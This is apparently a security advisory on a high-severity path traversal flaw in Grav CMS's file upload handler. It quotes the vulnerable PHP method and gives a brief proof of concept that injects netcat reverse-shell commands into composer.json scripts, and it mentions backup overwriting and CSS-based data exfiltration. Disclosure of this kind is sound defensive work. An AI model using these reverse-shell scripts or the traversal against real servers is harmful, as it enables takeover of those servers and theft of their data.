Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques.
Vulnerable code location: grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_
public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string
{
// Add the defaults to the settings.
$settings = $this->getUploadSettings($settings);
// Destination is always needed (but it can be set in defaults).
$self = $settings['self'] ?? false;
if (!isset($settings['destination']) && $self === false) {
throw new RuntimeException($this->translate('PLUGIN_ADMIN.DESTINATION_NOT_SPECIFIED'), 400);
}
if (null === $filename) {
// If no filename is given, use the filename from the uploaded file (path is not allowed).
$folder = '';
$filename = $metadata['filename'] ?? '';
} else {
// If caller sets the filename, we will accept any custom path.
$folder = dirname($filename); `-> Vulnerable Code`
if ($folder === '.') {
$folder = '';
}
$filename = Utils::basename($filename);
nc -lvnp 8081
"post-install-cmd": "nc <IP-address> 8081 -e /bin/bash",
"post-update-cmd": "nc <IP-address> 8081 -e /bin/bash"
Note: The post installation and update script used in this PoC is only for demonstration purposes. There are various other scripts that may be injected such as command
that executes the corresponding script before any Composer Command is executed on the CLI.
Arbitrary Code Injection: Attackers can replace the composer.json file with a malicious one containing arbitratry composer scripts. This can result in code execution when the composer
command is used for any purpose in the server. that can allow attackers to get a reverse shell on the server.
Backup Compromise: .zip backup files can be replaced, undermining data integrity and recovery mechanisms:
Sensitive Information Exposure: Modification of .css files provides an avenue for attackers to exfiltrate sensitive information, such as usernames and passwords, compromising confidentiality.
{ "github_reviewed_at": "2024-03-22T16:29:57Z", "cwe_ids": [ "CWE-22" ], "nvd_published_at": "2024-03-21T22:15:11Z", "severity": "HIGH", "github_reviewed": true }